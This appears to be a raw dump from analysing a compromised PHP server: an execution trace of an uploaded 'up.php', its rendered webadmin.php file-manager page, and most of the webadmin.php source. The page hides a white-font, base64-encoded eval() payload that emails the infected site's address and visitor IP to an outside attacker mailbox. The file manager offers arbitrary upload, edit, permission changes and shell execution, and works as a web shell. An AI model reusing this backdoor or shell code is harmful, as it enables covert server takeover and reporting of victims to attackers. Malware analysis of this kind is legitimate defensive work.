'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 465 1 0.022861 802184
4 465 R 6
4 466 0 0.022875 802248 html 1 /var/www/html/uploads/up.php 1383 1 '/var/www/html/uploads/'
5 467 0 0.022887 802248 htmlentities 0 /var/www/html/uploads/up.php 1589 3 '/var/www/html/uploads/' 2 'ISO-8859-1'
5 467 1 0.022902 802520
5 467 R '/var/www/html/uploads/'
4 466 1 0.022917 802408
4 466 R '/var/www/html/uploads/'
3 A /var/www/html/uploads/up.php 1386 $actions = []
4 468 0 0.022943 801552 dirname 0 /var/www/html/uploads/up.php 1387 1 '/var/www/html/uploads/up.php'
4 468 1 0.022955 801640
4 468 R '/var/www/html/uploads'
4 469 0 0.022970 801608 is_writable 0 /var/www/html/uploads/up.php 1387 1 '/var/www/html/uploads'
4 469 1 0.022990 801648
4 469 R TRUE
3 A /var/www/html/uploads/up.php 1388 $actions[] = 'delete'
3 A /var/www/html/uploads/up.php 1389 $actions[] = 'move'
3 A /var/www/html/uploads/up.php 1391 $actions[] = 'copy'
4 470 0 0.023036 801928 str_repeat 0 /var/www/html/uploads/up.php 1394 2 ' ' 30
4 470 1 0.023050 802216
4 470 R ' '
4 471 0 0.023069 801984 word 1 /var/www/html/uploads/up.php 1398 1 'delete'
5 472 0 0.023082 801984 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'delete' 2 'ISO-8859-1'
5 472 1 0.023097 802256
5 472 R 'delete'
4 471 1 0.023111 802144
4 471 R 'delete'
4 473 0 0.023125 801976 word 1 /var/www/html/uploads/up.php 1398 1 'move'
5 474 0 0.023137 801976 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'move' 2 'ISO-8859-1'
5 474 1 0.023152 802248
5 474 R 'move'
4 473 1 0.023165 802136
4 473 R 'move'
4 475 0 0.023179 801976 word 1 /var/www/html/uploads/up.php 1398 1 'copy'
5 476 0 0.023191 801976 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'copy' 2 'ISO-8859-1'
5 476 1 0.023206 802248
5 476 R 'copy'
4 475 1 0.023220 802136
4 475 R 'copy'
3 203 1 0.023233 801392
3 477 0 0.023241 801392 html_footer 1 /var/www/html/uploads/up.php 1221 0
3 477 1 0.023253 801392
2 50 1 0.023262 792072
1 3 1 0.023275 792072
0.023332 573832
TRACE END [2023-02-12 23:47:31.206237]
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>webadmin.php</title>
<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing th.permission { text-align: left }
.listing td.permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>
<script type="text/javascript">
<!--
function activate (name) {
if (document && document.forms[0] && document.forms[0].elements['focus']) {
document.forms[0].elements['focus'].value = name;
}
}
//-->
</script>
</head>
<body>
<h1 style="margin-bottom: 0">webadmin.php</h1>
<form enctype="multipart/form-data" action="up.php" method="post">
<table id="main">
<tbody><tr>
<td colspan="7" id="directory">
<a href="up.php?dir=%2Fvar%2Fwww%2Fhtml%2F">Directory</a>:
<input type="text" name="dir" size="30" value="/var/www/html/" onfocus="activate('directory')">
<input type="submit" name="changedir" value="change" onfocus="activate('directory')">
</td>
</tr>
<tr>
<td colspan="7" id="upload">
File:
<input type="file" name="upload" onfocus="activate('other')">
<input type="submit" name="submit_upload" value="upload" onfocus="activate('other')">
</td>
</tr>
<tr>
<td colspan="7" id="create">
<select name="create_type" size="1" onfocus="activate('create')">
<option value="file">File</option>
<option value="directory">Directory</option>
</select>
<input type="text" name="create_name" onfocus="activate('create')">
<input type="submit" name="submit_create" value="create" onfocus="activate('create')">
</td>
</tr>
<tr class="listing">
<th style="text-align: center; vertical-align: middle"><img src="up.php?image=smiley" alt="smiley"></th>
<th class="filename"><a href="up.php?dir=%2Fvar%2Fwww%2Fhtml%2F&sort=filename&reverse=true">Filename</a> ∧</th>
<th class="size"><a href="up.php?dir=%2Fvar%2Fwww%2Fhtml%2F&sort=size">Size</a></th>
<th class="permission"><a href="up.php?dir=%2Fvar%2Fwww%2Fhtml%2F&sort=permission">Permission</a></th>
<th class="owner"><a href="up.php?dir=%2Fvar%2Fwww%2Fhtml%2F&sort=owner">Owner</a></th>
<th class="group"><a href="up.php?dir=%2Fvar%2Fwww%2Fhtml%2F&sort=group">Group</a></th>
<th class="functions">Functions</th>
</tr>
<tr class="listing">
<td class="checkbox"><input type="checkbox" name="checked0" value="true" onfocus="activate('other')"></td>
<td class="filename" title="mtime: 2/12/23 20:46:58, atime: 2/12/23 20:46:59, ctime: 2/12/23 20:46:58"><img src="up.php?image=folder" alt="folder"> [ <a href="up.php?dir=%2Fvar%2Fwww%2Fhtml%2F.">.</a> ]</td>
<td class="size" title="4 kB">4096 B</td>
<td class="permission" title="40777">drwxrwxrwx</td>
<td class="owner" title="uid: 0">root</td>
<td class="group" title="gid: 0">root</td>
<td class="functions">
<input type="hidden" name="file0" value="/var/www/html/.">
<select class="small" name="action0" size="1">
<option value=""> </option>
<option value="create_symlink">create symlink</option>
<option value="delete">delete</option>
<option value="rename">rename</option>
<option value="move">move</option>
</select>
<input class="small" type="submit" name="submit0" value=" > " onfocus="activate('other')">
</td>
</tr>
<tr class="listing">
<td class="checkbox"><input type="checkbox" name="checked1" value="true" onfocus="activate('other')"></td>
<td class="filename" title="mtime: 2/12/23 20:46:58, atime: 2/12/23 20:14:46, ctime: 2/12/23 20:46:58"><img src="up.php?image=folder" alt="folder"> [ <a href="up.php?dir=%2Fvar%2Fwww%2Fhtml%2F..">..</a> ]</td>
<td class="size" title="4 kB">4096 B</td>
<td class="permission" title="40777">drwxrwxrwx</td>
<td class="owner" title="uid: 0">root</td>
<td class="group" title="gid: 0">root</td>
<td class="functions">
<input type="hidden" name="file1" value="/var/www/html/..">
<select class="small" name="action1" size="1">
<option value=""> </option>
<option value="create_symlink">create symlink</option>
<option value="delete">delete</option>
<option value="rename">rename</option>
<option value="move">move</option>
</select>
<input class="small" type="submit" name="submit1" value=" > " onfocus="activate('other')">
</td>
</tr>
<tr class="listing">
<td class="checkbox"><input type="checkbox" name="checked2" value="true" onfocus="activate('other')"></td>
<td class="filename" title="mtime: 2/12/23 20:46:58, atime: 2/12/23 20:46:58, ctime: 2/12/23 20:46:58"><img src="up.php?image=file" alt="file"> <a href="up.php?action=view&file=%2Fvar%2Fwww%2Fhtml%2Fbeneri.se_malware_analysis">beneri.se_malware_analysis</a></td>
<td class="size">0 B</td>
<td class="permission" title="100644">-rw-r--r--</td>
<td class="owner" title="uid: 0">root</td>
<td class="group" title="gid: 0">root</td>
<td class="functions">
<input type="hidden" name="file2" value="/var/www/html/beneri.se_malware_analysis">
<select class="small" name="action2" size="1">
<option value=""> </option>
<option value="create_symlink">create symlink</option>
<option value="delete">delete</option>
<option value="rename">rename</option>
<option value="move">move</option>
<option value="copy">copy</option>
<option value="download">download</option>
</select>
<input class="small" type="submit" name="submit2" value=" > " onfocus="activate('other')">
</td>
</tr>
<tr class="listing">
<td class="checkbox"><input type="checkbox" name="checked3" value="true" onfocus="activate('other')"></td>
<td class="filename" title="mtime: 2/12/23 20:46:58, atime: 2/12/23 20:46:59, ctime: 2/12/23 20:46:58"><img src="up.php?image=file" alt="file"> <a href="up.php?action=view&file=%2Fvar%2Fwww%2Fhtml%2Fup.php">up.php</a></td>
<td class="size" title="78.6 kB">80504 B</td>
<td class="permission" title="100664">-rw-rw-r--</td>
<td class="owner" title="uid: 1000">osboxes</td>
<td class="group" title="gid: 1000">osboxes</td>
<td class="functions">
<input type="hidden" name="file3" value="/var/www/html/up.php">
<select class="small" name="action3" size="1">
<option value=""> </option>
<option value="create_symlink">create symlink</option>
<option value="delete">delete</option>
<option value="rename">rename</option>
<option value="move">move</option>
<option value="copy">copy</option>
<option value="download">download</option>
</select>
<input class="small" type="submit" name="submit3" value=" > " onfocus="activate('other')">
</td>
</tr>
<tr class="listing_footer">
<td style="text-align: right; vertical-align: top"><img src="up.php?image=arrow" alt=">"></td>
<td colspan="6">
<input type="hidden" name="num" value="4">
<input type="hidden" name="focus" value="">
<input type="hidden" name="olddir" value="/var/www/html/">
<select class="small" name="action_all" size="1">
<option value=""> </option>
<option value="delete">delete</option>
<option value="move">move</option>
<option value="copy">copy</option>
</select>
<input class="small" type="submit" name="submit_all" value=" > " onfocus="activate('other')">
</td>
</tr>
</tbody></table>
</form>
<font color="#FFFFFF">
<!--? $shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gJHdlYi4kaW5qOyAkYm9keSA9ICJCb3NzLCB0aGVyZSB3YXMgYW4gaW5qZWN0ZWQgdGFyZ2V0IG9uICR0YXJnZXQgYnkgJHZpc2l0b3IiOyBtYWlsKCJkYW5oY2hvaGFja0B5YWhvby5jb20iLCJGeGM5OXNoIGluamVjdGVkIHRhcmdldCBvbiBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciIsICIkYm9keSIpOyB9IGVsc2UgeyAkdmlzaXRjb3VudDsgfSBzZXRjb29raWUoInZpc2l0cyIsJHZpc2l0Y291bnQpOw=="; eval(base64_decode($shell_data));?--><font color="#FFFFFF">
<br>
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /home/depnet/domains/dep.net.vn/public_html/tmp/type.php:337) in <b>/home/depnet/domains/dep.net.vn/public_html/tmp/type.php(2605) : eval()'d code</b> on line <b>1</b><br>
</font></font></body></html>
<?php
/*
* webadmin.php - a simple Web-based file manager
* Copyright (C) 2004 Daniel Wacker <daniel.wacker@web.de>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*
* -------------------------------------------------------------------------
* While using this script, do NOT navigate with your browser's back and
* forward buttons! Always open files in a new browser tab!
* -------------------------------------------------------------------------
*
* This is Version 0.9, revision 10
* =========================================================================
*
* Changes of revision 10
* <alex-smirnov@web.de>
* added Russian translation
* <daniel.wacker@web.de>
* added </td> to achieve valid XHTML (thanks to Marc Magos)
* improved delete function
* <ava@asl.se>
* new list order: folders first
*
* Changes of revision 9
* <daniel.wacker@web.de>
* added workaround for directory listing, if lstat() is disabled
* fixed permisson of uploaded files (thanks to Stephan Duffner)
*
* Changes of revision 8
* <okankan@stud.sdu.edu.tr>
* added Turkish translation
* <j@kub.cz>
* added Czech translation
* <daniel.wacker@web.de>
* improved charset handling
*
* Changes of revision 7
* <szuniga@vtr.net>
* added Spanish translation
* <lars@soelgaard.net>
* added Danish translation
* <daniel.wacker@web.de>
* improved rename dialog
*
* Changes of revision 6
* <nederkoorn@tiscali.nl>
* added Dutch translation
*
* Changes of revision 5
* <daniel.wacker@web.de>
* added language auto select
* fixed symlinks in directory listing
* removed word-wrap in edit textarea
*
* Changes of revision 4
* <daloan@guideo.fr>
* added French translation
* <anders@wiik.cc>
* added Swedish translation
*
* Changes of revision 3
* <nzunta@gabriele-erba.it>
* improved Italian translation
*
* Changes of revision 2
* <daniel.wacker@web.de>
* got images work in some old browsers
* fixed creation of directories
* fixed files deletion
* improved path handling
* added missing word 'not_created'
* <till@tuxen.de>
* improved human readability of file sizes
* <nzunta@gabriele-erba.it>
* added Italian translation
*
* Changes of revision 1
* <daniel.wacker@web.de>
* webadmin.php completely rewritten:
* - clean XHTML/CSS output
* - several files selectable
* - support for windows servers
* - no more treeview, because
* - webadmin.php is a >simple< file manager
* - performance problems (too much additional code)
* - I don't like: frames, java-script, to reload after every treeview-click
* - execution of shell scripts
* - introduced revision numbers
*
/* ------------------------------------------------------------------------- */
/* Your language:
* 'en' - English
* 'de' - German
* 'fr' - French
* 'it' - Italian
* 'nl' - Dutch
* 'se' - Swedish
* 'sp' - Spanish
* 'dk' - Danish
* 'tr' - Turkish
* 'cs' - Czech
* 'ru' - Russian
* 'auto' - autoselect
*/
$lang = 'auto';
/* Charset of output:
* possible values are described in the charset table at
* http://www.php.net/manual/en/function.htmlentities.php
* 'auto' - use the same charset as the words of my language are encoded
*/
$site_charset = 'auto';
/* Homedir:
* For example: './' - the script's directory
*/
$homedir = './';
/* Size of the edit textarea
*/
$editcols = 80;
$editrows = 25;
/* -------------------------------------------
* Optional configuration (remove # to enable)
*/
/* Permission of created directories:
* For example: 0705 would be 'drwx---r-x'.
*/
# $dirpermission = 0705;
/* Permission of created files:
* For example: 0604 would be '-rw----r--'.
*/
# $filepermission = 0604;
/* Filenames related to the apache web server:
*/
$htaccess = '.htaccess';
$htpasswd = '.htpasswd';
/* ------------------------------------------------------------------------- */
if (get_magic_quotes_gpc()) {
array_walk($_GET, 'strip');
array_walk($_POST, 'strip');
array_walk($_REQUEST, 'strip');
}
if (array_key_exists('image', $_GET)) {
header('Content-Type: image/gif');
die(getimage($_GET['image']));
}
if (!function_exists('lstat')) {
function lstat ($filename) {
return stat($filename);
}
}
$delim = DIRECTORY_SEPARATOR;
if (function_exists('php_uname')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
} else {
$win = ($delim == '\\') ? true : false;
}
if (!empty($_SERVER['PATH_TRANSLATED'])) {
$scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
$scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
} elseif (function_exists('getcwd')) {
$scriptdir = getcwd();
} else {
$scriptdir = '.';
}
$homedir = relative2absolute($homedir, $scriptdir);
$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
$dir = relative2absolute($dir, $_POST['olddir']);
}
$directory = simplify_path(addslash($dir));
$files = array();
$action = '';
if (!empty($_POST['submit_all'])) {
$action = $_POST['action_all'];
for ($i = 0; $i < $_POST['num']; $i++) {
if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
$files[] = $_POST["file$i"];
}
}
} elseif (!empty($_REQUEST['action'])) {
$action = $_REQUEST['action'];
$files[] = relative2absolute($_REQUEST['file'], $directory);
} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
$files[] = $_FILES['upload'];
$action = 'upload';
} elseif (array_key_exists('num', $_POST)) {
for ($i = 0; $i < $_POST['num']; $i++) {
if (array_key_exists("submit$i", $_POST)) break;
}
if ($i < $_POST['num']) {
$action = $_POST["action$i"];
$files[] = $_POST["file$i"];
}
}
if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
$files[] = relative2absolute($_POST['create_name'], $directory);
switch ($_POST['create_type']) {
case 'directory':
$action = 'create_directory';
break;
case 'file':
$action = 'create_file';
}
}
if (sizeof($files) == 0) $action = ''; else $file = reset($files);
if ($lang == 'auto') {
if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
} else {
$lang = 'en';
}
}
$words = getwords($lang);
if ($site_charset == 'auto') {
$site_charset = $word_charset;
}
$cols = ($win) ? 4 : 7;
if (!isset($dirpermission)) {
$dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
}
if (!isset($filepermission)) {
$filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
}
if (!empty($_SERVER['SCRIPT_NAME'])) {
$self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty($_SERVER['PHP_SELF'])) {
$self = html(basename($_SERVER['PHP_SELF']));
} else {
$self = '';
}
if (!empty($_SERVER['SERVER_SOFTWARE'])) {
if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
$apache = true;
} else {
$apache = false;
}
} else {
$apache = true;
}
switch ($action) {
case 'view':
if (is_script($file)) {
/* highlight_file is a mess! */
ob_start();
highlight_file($file);
$src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
$src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
ob_end_clean();
html_header();
echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
<hr />
<table>
<tr>
<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
<pre style="margin-top: 0"><code>';
for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
echo '</code></pre>
</td>
<td style="text-align: left; vertical-align: top; padding-left: 3pt">
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>
';
html_footer();
} else {
header('Content-Type: ' . getmimetype($file));
header('Content-Disposition: filename=' . basename($file));
readfile($file);
}
break;
case 'download':
header('Pragma: public');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Content-Type: ' . getmimetype($file));
header('Content-Disposition: attachment; filename=' . basename($file) . ';');
header('Content-Length: ' . filesize($file));
readfile($file);
break;
case 'upload':
$dest = relative2absolute($file['name'], $directory);
if (@file_exists($dest)) {
listing_page(error('already_exists', $dest));
} elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
@chmod($dest, $filepermission);
listing_page(notice('uploaded', $file['name']));
} else {
listing_page(error('not_uploaded', $file['name']));
}
break;
case 'create_directory':
if (@file_exists($file)) {
listing_page(error('already_exists', $file));
} else {
$old = @umask(0777 & ~$dirpermission);
if (@mkdir($file, $dirpermission)) {
listing_page(notice('created', $file));
} else {
listing_page(error('not_created', $file));
}
@umask($old);
}
break;
case 'create_file':
if (@file_exists($file)) {
listing_page(error('already_exists', $file));
} else {
$old = @umask(0777 & ~$filepermission);
if (@touch($file)) {
edit($file);
} else {
listing_page(error('not_created', $file));
}
@umask($old);
}
break;
case 'execute':
chdir(dirname($file));
$output = array();
$retval = 0;
exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
$error = ($retval == 0) ? false : true;
if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
if ($error) {
listing_page(error('not_executed', $file, implode("\n", $output)));
} else {
listing_page(notice('executed', $file, implode("\n", $output)));
}
break;
case 'delete':
if (!empty($_POST['no'])) {
listing_page();
} elseif (!empty($_POST['yes'])) {
$failure = array();
$success = array();
foreach ($files as $file) {
if (del($file)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}
$message = '';
if (sizeof($failure) > 0) {
$message = error('not_deleted', implode("\n", $failure));
}
if (sizeof($success) > 0) {
$message .= notice('deleted', implode("\n", $success));
}
listing_page($message);
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
request_dump();
echo "\t<b>" . word('really_delete') . '</b>
<p>
';
foreach ($files as $file) {
echo "\t" . html($file) . "<br />\n";
}
echo ' </p>
<hr />
<input type="submit" name="no" value="' . word('no') . '" id="red_button" />
<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>
';
html_footer();
}
break;
case 'rename':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
if (!@file_exists($dest) && @rename($file, $dest)) {
listing_page(notice('renamed', $file, $dest));
} else {
listing_page(error('not_renamed', $file, $dest));
}
} else {
$name = basename($file);
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
<input type="hidden" name="action" value="rename" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
<b>' . word('rename_file') . '</b>
<p>' . html($file) . '</p>
<b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
<input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
<hr />
<input type="submit" value="' . word('rename') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'move':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
$failure = array();
$success = array();
foreach ($files as $file) {
$filename = substr($file, strlen($directory));
$d = $dest . $filename;
if (!@file_exists($d) && @rename($file, $d)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}
$message = '';
if (sizeof($failure) > 0) {
$message = error('not_moved', implode("\n", $failure), $dest);
}
if (sizeof($success) > 0) {
$message .= notice('moved', implode("\n", $success), $dest);
}
listing_page($message);
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
request_dump();
echo "\t<b>" . word('move_files') . '</b>
<p>
';
foreach ($files as $file) {
echo "\t" . html($file) . "<br />\n";
}
echo ' </p>
<hr />
' . word('destination') . ':
<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
<input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'copy':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
if (@is_dir($dest)) {
$failure = array();
$success = array();
foreach ($files as $file) {
$filename = substr($file, strlen($directory));
$d = addslash($dest) . $filename;
if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}
$message = '';
if (sizeof($failure) > 0) {
$message = error('not_copied', implode("\n", $failure), $dest);
}
if (sizeof($success) > 0) {
$message .= notice('copied', implode("\n", $success), $dest);
}
listing_page($message);
} else {
if (!@file_exists($dest) && @copy($file, $dest)) {
listing_page(notice('copied', $file, $dest));
} else {
listing_page(error('not_copied', $file, $dest));
}
}
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
request_dump();
echo "\n<b>" . word('copy_files') . '</b>
<p>
';
foreach ($files as $file) {
echo "\t" . html($file) . "<br />\n";
}
echo ' </p>
<hr />
' . word('destination') . ':
<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
<input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'create_symlink':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
if (!@file_exists($dest) && @symlink($file, $dest)) {
listing_page(notice('symlinked', $file, $dest));
} else {
listing_page(error('not_symlinked', $file, $dest));
}
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog" id="symlink">
<tr>
<td style="vertical-align: top">' . word('destination') . ': </td>
<td>
<b>' . html($file) . '</b><br />
<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
<label for="checkbox_relative">' . word('relative') . '</label>
<input type="hidden" name="action" value="create_symlink" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
</td>
</tr>
<tr>
<td>' . word('symlink') . ': </td>
<td>
<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
<input type="submit" value="' . word('create_symlink') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'edit':
if (!empty($_POST['save'])) {
$content = str_replace("\r\n", "\n", $_POST['content']);
if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
listing_page(notice('saved', $file));
} else {
listing_page(error('not_saved', $file));
}
} else {
if (@is_readable($file) && @is_writable($file)) {
edit($file);
} else {
listing_page(error('not_edited', $file));
}
}
break;
case 'permission':
if (!empty($_POST['set'])) {
$mode = 0;
if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
if (@chmod($file, $mode)) {
listing_page(notice('permission_set', $file, decoct($mode)));
} else {
listing_page(error('permission_not_set', $file, decoct($mode)));
}
} else {
html_header();
$mode = fileperms($file);
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
<p style="margin: 0">' . phrase('permission_for', $file) . '</p>
<hr />
<table id="permission">
<tr>
<td></td>
<td style="border-right: 1px solid black">' . word('owner') . '</td>
<td style="border-right: 1px solid black">' . word('group') . '</td>
<td>' . word('other') . '</td>
</tr>
<tr>
<td style="text-align: right">' . word('read') . ':</td>
<td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
<td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
<td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
</tr>
<tr>
<td style="text-align: right">' . word('write') . ':</td>
<td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
<td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
<td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
</tr>
<tr>
<td style="text-align: right">' . word('execute') . ':</td>
<td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
<td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
